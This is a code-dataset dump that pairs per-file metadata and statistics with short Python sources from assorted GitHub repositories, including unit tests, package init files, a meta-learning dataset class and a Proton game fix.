| 20 | 56 | 0.8 | 9 | 80 | 7.111111 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1125 | 80 | 3 | 57 | 26.666667 | 0.901408 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
472397ff28f214b91080a7c1ab83745e9855bc08 | 170 | py | Python | tests/test_add_contact.py | kegorn/python_training | a842ce0de35c8b9c5db442bdd18ccbcf2e06202d | [
"Apache-2.0"
] | null | null | null | tests/test_add_contact.py | kegorn/python_training | a842ce0de35c8b9c5db442bdd18ccbcf2e06202d | [
"Apache-2.0"
] | null | null | null | tests/test_add_contact.py | kegorn/python_training | a842ce0de35c8b9c5db442bdd18ccbcf2e06202d | [
"Apache-2.0"
] | null | null | null | from model.contact import Contact
def test_add_contact(app):
app.contactHelper.create(Contact(firstname="new_fn_1", lastname="new_ln_1", address2="some_address_2")) | 34 | 107 | 0.794118 | 26 | 170 | 4.884615 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025641 | 0.082353 | 170 | 5 | 107 | 34 | 0.788462 | 0 | 0 | 0 | 0 | 0 | 0.175439 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
472f0fe85e4faf95aefe15109c733d6a4faabe11 | 9,934 | py | Python | scipy/optimize/tests/test__linprog_clean_inputs.py | smola/scipy | ff8b9d9e87a585a820846d7f459d6156ba621c4d | [
"BSD-3-Clause"
] | 1 | 2019-12-19T16:51:27.000Z | 2019-12-19T16:51:27.000Z | scipy/optimize/tests/test__linprog_clean_inputs.py | smola/scipy | ff8b9d9e87a585a820846d7f459d6156ba621c4d | [
"BSD-3-Clause"
] | null | null | null | scipy/optimize/tests/test__linprog_clean_inputs.py | smola/scipy | ff8b9d9e87a585a820846d7f459d6156ba621c4d | [
"BSD-3-Clause"
] | null | null | null | """
Unit test for Linear Programming via Simplex Algorithm.
"""
from __future__ import division, print_function, absolute_import
import numpy as np
from numpy.testing import assert_, assert_allclose
from pytest import raises as assert_raises
from scipy.optimize._linprog_util import _clean_inputs, _LPProblem
from copy ... | 36.792593 | 90 | 0.645963 | 1,579 | 9,934 | 3.718176 | 0.067131 | 0.136774 | 0.081928 | 0.160961 | 0.832908 | 0.798501 | 0.745188 | 0.67893 | 0.604497 | 0.494975 | 0 | 0.028034 | 0.181297 | 9,934 | 269 | 91 | 36.929368 | 0.69384 | 0.029797 | 0 | 0.292683 | 0 | 0 | 0.03847 | 0 | 0 | 0 | 0 | 0 | 0.473171 | 1 | 0.063415 | false | 0 | 0.029268 | 0 | 0.092683 | 0.004878 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
5b3e58bee2218f9bae360ce7836b0323d59c504f | 69 | py | Python | AdaBoost/adaboost.py | JNero/Machine-Learning-in-action | c1b84f51fa8f30296403399617fb45777787203a | [
"Apache-2.0"
] | null | null | null | AdaBoost/adaboost.py | JNero/Machine-Learning-in-action | c1b84f51fa8f30296403399617fb45777787203a | [
"Apache-2.0"
] | null | null | null | AdaBoost/adaboost.py | JNero/Machine-Learning-in-action | c1b84f51fa8f30296403399617fb45777787203a | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# @Time : 17-9-26 下午2:47
# @Author : QIAO | 23 | 27 | 0.492754 | 11 | 69 | 3.090909 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173077 | 0.246377 | 69 | 3 | 28 | 23 | 0.480769 | 0.913043 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
5b69337e3568e7170170436a6c97bf87859efdc4 | 137 | py | Python | pitop/miniscreen/oled/core/__init__.py | pi-top/pi-top-Python-SDK | 6c83cc5f612d77f86f8d391c7f2924a28f7b1232 | [
"Apache-2.0"
] | 28 | 2020-11-24T08:02:58.000Z | 2022-02-27T18:37:33.000Z | pitop/miniscreen/oled/core/__init__.py | pi-top/pi-top-Python-SDK | 6c83cc5f612d77f86f8d391c7f2924a28f7b1232 | [
"Apache-2.0"
] | 263 | 2020-11-10T14:35:10.000Z | 2022-03-31T12:35:13.000Z | pitop/miniscreen/oled/core/__init__.py | pi-top/pi-top-Python-SDK | 6c83cc5f612d77f86f8d391c7f2924a28f7b1232 | [
"Apache-2.0"
] | 1 | 2022-01-31T22:48:35.000Z | 2022-01-31T22:48:35.000Z | from .device_controller import OledDeviceController
from .fps_regulator import FPS_Regulator
from .lock import MiniscreenLockFileMonitor
| 34.25 | 51 | 0.890511 | 15 | 137 | 7.933333 | 0.6 | 0.201681 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.087591 | 137 | 3 | 52 | 45.666667 | 0.952 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
5b7519dda752087abbb79383f7550ef16b3d4952 | 167 | py | Python | myvenv/lib/python3.5/site-packages/allauth/socialaccount/providers/untappd/urls.py | tuvapp/tuvappcom | 5ca2be19f4b0c86a1d4a9553711a4da9d3f32841 | [
"MIT"
] | 1 | 2018-04-06T21:36:59.000Z | 2018-04-06T21:36:59.000Z | myvenv/lib/python3.5/site-packages/allauth/socialaccount/providers/untappd/urls.py | tuvapp/tuvappcom | 5ca2be19f4b0c86a1d4a9553711a4da9d3f32841 | [
"MIT"
] | 6 | 2020-06-05T18:44:19.000Z | 2022-01-13T00:48:56.000Z | myvenv/lib/python3.5/site-packages/allauth/socialaccount/providers/untappd/urls.py | tuvapp/tuvappcom | 5ca2be19f4b0c86a1d4a9553711a4da9d3f32841 | [
"MIT"
] | 1 | 2022-02-01T17:19:28.000Z | 2022-02-01T17:19:28.000Z | from allauth.socialaccount.providers.oauth2.urls import default_urlpatterns
from .provider import UntappdProvider
urlpatterns = default_urlpatterns(UntappdProvider)
| 27.833333 | 75 | 0.874251 | 17 | 167 | 8.470588 | 0.647059 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.006494 | 0.077844 | 167 | 5 | 76 | 33.4 | 0.928571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
7505a2a8fb432dd7587b057d0e9be53316b839b7 | 83 | py | Python | src/checkvist/__main__.py | nuno-andre/checkvist | 4ce3428e036ae2f09b7c283063af488a8c4e0f78 | [
"MIT"
] | null | null | null | src/checkvist/__main__.py | nuno-andre/checkvist | 4ce3428e036ae2f09b7c283063af488a8c4e0f78 | [
"MIT"
] | null | null | null | src/checkvist/__main__.py | nuno-andre/checkvist | 4ce3428e036ae2f09b7c283063af488a8c4e0f78 | [
"MIT"
] | null | null | null | from checkvist.app import cli
import sys
sys.exit(cli.cli(prog_name='checkvist'))
| 16.6 | 40 | 0.783133 | 14 | 83 | 4.571429 | 0.642857 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096386 | 83 | 4 | 41 | 20.75 | 0.853333 | 0 | 0 | 0 | 0 | 0 | 0.108434 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
753564282c974f5995b0484d7ec5f1eaba52a65d | 71 | py | Python | server/utils/__init__.py | lolimay/digit-recognition | f6d8f672b14f0fc366f63990883fc8f9955b86bf | [
"MIT"
] | 6 | 2019-07-13T02:18:23.000Z | 2019-07-14T14:26:22.000Z | server/utils/__init__.py | lolimay/digit-recognition | f6d8f672b14f0fc366f63990883fc8f9955b86bf | [
"MIT"
] | null | null | null | server/utils/__init__.py | lolimay/digit-recognition | f6d8f672b14f0fc366f63990883fc8f9955b86bf | [
"MIT"
] | 2 | 2019-07-14T13:37:13.000Z | 2019-07-14T14:26:29.000Z | """
Created by lolimay <lolimay@lolimay.cn>
Last Updated 2019-07-11
""" | 17.75 | 39 | 0.71831 | 11 | 71 | 4.636364 | 0.818182 | 0.54902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126984 | 0.112676 | 71 | 4 | 40 | 17.75 | 0.68254 | 0.887324 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
755216141d5535c21efeb115976a96e84b61199d | 1,771 | py | Python | tests/integration/test_with_rabbitmq.py | thiagopena/python-mcollective | 77cac3e23e6a61542662be3b8f94ee54bbfea942 | [
"BSD-3-Clause"
] | 1 | 2015-07-29T00:35:51.000Z | 2015-07-29T00:35:51.000Z | tests/integration/test_with_rabbitmq.py | jantman/python-mcollective | ceb8f362bc8a1981b42696889250bed1cce07fea | [
"BSD-3-Clause"
] | null | null | null | tests/integration/test_with_rabbitmq.py | jantman/python-mcollective | ceb8f362bc8a1981b42696889250bed1cce07fea | [
"BSD-3-Clause"
] | 1 | 2019-01-02T18:40:24.000Z | 2019-01-02T18:40:24.000Z | import os
from pymco.test import ctxt
from . import base
class RabbitMQTestCase(base.IntegrationTestCase):
'''RabbitMQ integration test case.'''
CTXT = {
'connector': 'rabbitmq',
'plugin.rabbitmq.vhost': '/mcollective',
'plugin.rabbitmq.pool.size': '1',
'plugin.rabbitmq.pool.... | 32.796296 | 74 | 0.627894 | 176 | 1,771 | 6.306818 | 0.267045 | 0.201802 | 0.227027 | 0.205405 | 0.758559 | 0.718919 | 0.554054 | 0.394595 | 0.394595 | 0.394595 | 0 | 0.029133 | 0.224732 | 1,771 | 53 | 75 | 33.415094 | 0.779315 | 0.096556 | 0 | 0.444444 | 0 | 0 | 0.400889 | 0.309403 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.055556 | 0.083333 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
7562fab47c62ef8c3e07fb4ec01754ebb9c1d794 | 59 | py | Python | Climate_Shocks/__init__.py | Komanawa-Solutions-Ltd/SLMACC-2020-CSRA | 914b6912c5f5b522107aa9406fb3d823e61c2ebe | [
"Apache-2.0"
] | null | null | null | Climate_Shocks/__init__.py | Komanawa-Solutions-Ltd/SLMACC-2020-CSRA | 914b6912c5f5b522107aa9406fb3d823e61c2ebe | [
"Apache-2.0"
] | null | null | null | Climate_Shocks/__init__.py | Komanawa-Solutions-Ltd/SLMACC-2020-CSRA | 914b6912c5f5b522107aa9406fb3d823e61c2ebe | [
"Apache-2.0"
] | null | null | null | """
Author: Matt Hanson
Created: 14/10/2020 10:47 AM
""" | 14.75 | 29 | 0.627119 | 10 | 59 | 3.7 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 0.186441 | 59 | 4 | 30 | 14.75 | 0.520833 | 0.813559 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
f32e588fd9a9b33c4a47e430609f9f9a363610f7 | 61 | py | Python | dag_executor/Extensions/AWS/__init__.py | GennadiiTurutin/dag_executor | ddc7eab1e0e98753309e245247ac00e465e52ec1 | [
"MIT"
] | null | null | null | dag_executor/Extensions/AWS/__init__.py | GennadiiTurutin/dag_executor | ddc7eab1e0e98753309e245247ac00e465e52ec1 | [
"MIT"
] | null | null | null | dag_executor/Extensions/AWS/__init__.py | GennadiiTurutin/dag_executor | ddc7eab1e0e98753309e245247ac00e465e52ec1 | [
"MIT"
] | null | null | null | from .SNS import SNS
from .SQS import SQS
from .S3 import S3 | 20.333333 | 21 | 0.754098 | 12 | 61 | 3.833333 | 0.416667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.040816 | 0.196721 | 61 | 3 | 22 | 20.333333 | 0.897959 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
f33824f2fb78243a41a3ffb607043eb3f45ae650 | 7,334 | py | Python | app/tests/v2/test_admin.py | salma-nyagaka/FastFoodFastApi | 5b7be1079b7422ba4e510c73d0eb4dfeeb4f73f7 | [
"MIT"
] | null | null | null | app/tests/v2/test_admin.py | salma-nyagaka/FastFoodFastApi | 5b7be1079b7422ba4e510c73d0eb4dfeeb4f73f7 | [
"MIT"
] | null | null | null | app/tests/v2/test_admin.py | salma-nyagaka/FastFoodFastApi | 5b7be1079b7422ba4e510c73d0eb4dfeeb4f73f7 | [
"MIT"
] | 4 | 2018-09-13T17:56:40.000Z | 2019-06-23T13:52:18.000Z | '''tests for admins endpoints'''
import json
from unittest import TestCase
from manage import Connection
from app import create_app
class TestOrders(TestCase):
'''loads up all confiugration settings'''
def setUp(self):
self.app = create_app("testing")
self.client = self.app.test_client()
... | 32.30837 | 76 | 0.515953 | 724 | 7,334 | 5.124309 | 0.140884 | 0.048518 | 0.059569 | 0.132884 | 0.780054 | 0.778437 | 0.760108 | 0.749596 | 0.738005 | 0.702156 | 0 | 0.012038 | 0.331743 | 7,334 | 226 | 77 | 32.451327 | 0.74495 | 0.446687 | 0 | 0.473118 | 0 | 0 | 0.170744 | 0 | 0 | 0 | 0 | 0 | 0.032258 | 1 | 0.086022 | false | 0.043011 | 0.043011 | 0 | 0.182796 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
f36b46ca5d7c60d45ce22af54de1d1bc47afb5e9 | 40 | py | Python | refsql/__init__.py | akaariai/django-refsql | ef4be243d8a8a3cb3b8ed38d19c826ddf30f75a1 | [
"BSD-2-Clause"
] | 7 | 2015-04-20T12:41:04.000Z | 2020-04-01T05:21:51.000Z | refsql/__init__.py | akaariai/django-refsql | ef4be243d8a8a3cb3b8ed38d19c826ddf30f75a1 | [
"BSD-2-Clause"
] | null | null | null | refsql/__init__.py | akaariai/django-refsql | ef4be243d8a8a3cb3b8ed38d19c826ddf30f75a1 | [
"BSD-2-Clause"
] | null | null | null | from .expressions import RefSQL # noqa
| 20 | 39 | 0.775 | 5 | 40 | 6.2 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.175 | 40 | 1 | 40 | 40 | 0.939394 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
f398da4c08b8fb22c30fa6a8cf6f68561cd1ad52 | 9,286 | py | Python | datasets/metadataset.py | luukschagen/Thesis_code | 8190ab5591e52a6a93f7e2f9d5a577a9375cd6e2 | [
"MIT"
] | null | null | null | datasets/metadataset.py | luukschagen/Thesis_code | 8190ab5591e52a6a93f7e2f9d5a577a9375cd6e2 | [
"MIT"
] | null | null | null | datasets/metadataset.py | luukschagen/Thesis_code | 8190ab5591e52a6a93f7e2f9d5a577a9375cd6e2 | [
"MIT"
] | null | null | null | import torch.utils.data as data
from math import pi
import torch
class MetaDataset(data.Dataset):
def __init__(self, task_num, k_shot, k_query, n_way=None):
super(MetaDataset, self).__init__()
self.task_num = task_num
self.k_shot = k_shot
self.k_query = k_query
self.n_way ... | 44.859903 | 111 | 0.597889 | 1,560 | 9,286 | 3.269872 | 0.058974 | 0.05097 | 0.052931 | 0.065869 | 0.787885 | 0.767301 | 0.767301 | 0.760439 | 0.73711 | 0.7079 | 0 | 0.037292 | 0.249192 | 9,286 | 206 | 112 | 45.07767 | 0.694349 | 0 | 0 | 0.605714 | 0 | 0 | 0.007323 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.085714 | false | 0.005714 | 0.017143 | 0.011429 | 0.188571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
f39f62b5d21e93f000e88552036e7d298042d3e9 | 71 | py | Python | test_test1.py | scottohalloran/python-sample-vscode-flask-tutorial | 467d4727c57336efe136cdefeaa8d5e91e251054 | [
"MIT"
] | null | null | null | test_test1.py | scottohalloran/python-sample-vscode-flask-tutorial | 467d4727c57336efe136cdefeaa8d5e91e251054 | [
"MIT"
] | null | null | null | test_test1.py | scottohalloran/python-sample-vscode-flask-tutorial | 467d4727c57336efe136cdefeaa8d5e91e251054 | [
"MIT"
] | null | null | null | def func(a):
return a - 1
def test_testmethod():
assert func(6) -- 5
| 14.2 | 22 | 0.647887 | 13 | 71 | 3.461538 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.052632 | 0.197183 | 71 | 4 | 23 | 17.75 | 0.736842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.5 | false | 0 | 0 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 5 |
45f52f9a14bee7e8a55ce72ac3dc339c63e697d5 | 235 | py | Python | babble/__init__.py | billchenxi/babble | 2bcf39493d67bd261f7cfc54a7a4c1f76f75710f | [
"Apache-2.0"
] | 130 | 2018-05-11T15:49:02.000Z | 2022-03-27T15:28:27.000Z | babble/__init__.py | we1l1n/babble | 3991ceeadb6bb9ee75a90d7290f8acd0132472db | [
"Apache-2.0"
] | null | null | null | babble/__init__.py | we1l1n/babble | 3991ceeadb6bb9ee75a90d7290f8acd0132472db | [
"Apache-2.0"
] | 17 | 2018-07-12T09:05:50.000Z | 2021-11-15T17:09:35.000Z | from .explanation import Explanation
from .parsing import Rule, Grammar, Parse, SemanticParser
from .filter_bank import FilterBank
from .utils import ExplanationIO, link_explanation_candidates
from .babbler import Babbler, BabbleStream | 47 | 61 | 0.855319 | 28 | 235 | 7.071429 | 0.607143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102128 | 235 | 5 | 62 | 47 | 0.938389 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
341c0b2f7f714063b5f98f5a1800dee9ea01ea83 | 119 | py | Python | 2522.py | BACCHUS-S/Baekjoon | 05edab8ea7c7205ca67ef8fe34bf0abd22726a0e | [
"MIT"
] | null | null | null | 2522.py | BACCHUS-S/Baekjoon | 05edab8ea7c7205ca67ef8fe34bf0abd22726a0e | [
"MIT"
] | null | null | null | 2522.py | BACCHUS-S/Baekjoon | 05edab8ea7c7205ca67ef8fe34bf0abd22726a0e | [
"MIT"
] | null | null | null | i = int(input())
for j in range(1,i+1):
print(" "*(i-j) + "*"*j)
for k in range(1,i):
print(" "*k + "*"*(i-k))
| 19.833333 | 28 | 0.436975 | 24 | 119 | 2.166667 | 0.416667 | 0.269231 | 0.307692 | 0.346154 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032609 | 0.226891 | 119 | 5 | 29 | 23.8 | 0.532609 | 0 | 0 | 0 | 0 | 0 | 0.033613 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.4 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
344f82db863e5442352002623ebe2ae6d29aa251 | 62 | py | Python | products/admin.py | BassamMismar/store | 8045d2ea453c60cbaf1779fddd44043d0eff6e4f | [
"MIT"
] | null | null | null | products/admin.py | BassamMismar/store | 8045d2ea453c60cbaf1779fddd44043d0eff6e4f | [
"MIT"
] | null | null | null | products/admin.py | BassamMismar/store | 8045d2ea453c60cbaf1779fddd44043d0eff6e4f | [
"MIT"
] | null | null | null | from django.contrib import admin
from .models import Product
| 15.5 | 32 | 0.822581 | 9 | 62 | 5.666667 | 0.777778 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.145161 | 62 | 3 | 33 | 20.666667 | 0.962264 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
345d3192a92cb43658b7b9acbda6b8193fc48ba8 | 219 | py | Python | assertpy/__init__.py | santunioni/assertpy | c970c6612a80aa10769dc612324630d27019e1b5 | [
"BSD-3-Clause"
] | 246 | 2015-01-14T01:40:03.000Z | 2021-08-03T02:50:50.000Z | assertpy/__init__.py | santunioni/assertpy | c970c6612a80aa10769dc612324630d27019e1b5 | [
"BSD-3-Clause"
] | 98 | 2015-01-01T14:28:55.000Z | 2019-11-14T21:36:18.000Z | assertpy/__init__.py | santunioni/assertpy | c970c6612a80aa10769dc612324630d27019e1b5 | [
"BSD-3-Clause"
] | 54 | 2015-01-14T01:42:10.000Z | 2019-11-18T10:04:42.000Z | from __future__ import absolute_import
from .assertpy import assert_that, assert_warn, soft_assertions, fail, soft_fail, add_extension, remove_extension, WarningLoggingAdapter, __version__
from .file import contents_of
| 54.75 | 149 | 0.863014 | 28 | 219 | 6.178571 | 0.678571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091324 | 219 | 3 | 150 | 73 | 0.869347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
cadfc9c22ac3cc44d3559309e30b0092c903daa4 | 151 | py | Python | mach_cad/tools/magnet/document/__init__.py | Severson-Group/MachEval | dbb7999188133f8744636da53cab475ae538ce80 | [
"BSD-3-Clause"
] | 6 | 2021-11-02T20:12:32.000Z | 2021-11-13T10:50:35.000Z | mach_cad/tools/magnet/document/__init__.py | Severson-Group/MachEval | dbb7999188133f8744636da53cab475ae538ce80 | [
"BSD-3-Clause"
] | 18 | 2021-11-29T20:14:55.000Z | 2022-03-02T07:17:37.000Z | mach_cad/tools/magnet/document/__init__.py | Severson-Group/MachEval | dbb7999188133f8744636da53cab475ae538ce80 | [
"BSD-3-Clause"
] | 1 | 2022-01-29T00:52:38.000Z | 2022-01-29T00:52:38.000Z | from . import document
from . import view
from .document import*
from .view import*
__all__ = []
__all__ += document.__all__
__all__ += view.__all__
| 15.1 | 27 | 0.735099 | 19 | 151 | 4.789474 | 0.263158 | 0.21978 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.165563 | 151 | 9 | 28 | 16.777778 | 0.722222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
1b07c02c76bb6ad93fecafc8f2b276fa3f938211 | 208 | py | Python | gamefixes/1664350.py | manueliglesiasgarcia/protonfixes | d676b6bf39f6e4268b4791d3d71c6d74e2127121 | [
"BSD-2-Clause"
] | null | null | null | gamefixes/1664350.py | manueliglesiasgarcia/protonfixes | d676b6bf39f6e4268b4791d3d71c6d74e2127121 | [
"BSD-2-Clause"
] | null | null | null | gamefixes/1664350.py | manueliglesiasgarcia/protonfixes | d676b6bf39f6e4268b4791d3d71c6d74e2127121 | [
"BSD-2-Clause"
] | null | null | null | """ Ship Graveyard Simulator Prologue
"""
#pylint: disable=C0103
from protonfixes import util
def main():
""" needs builtin vulkan-1
"""
util.set_environment('WINEDLLOVERRIDES','vulkan-1=b')
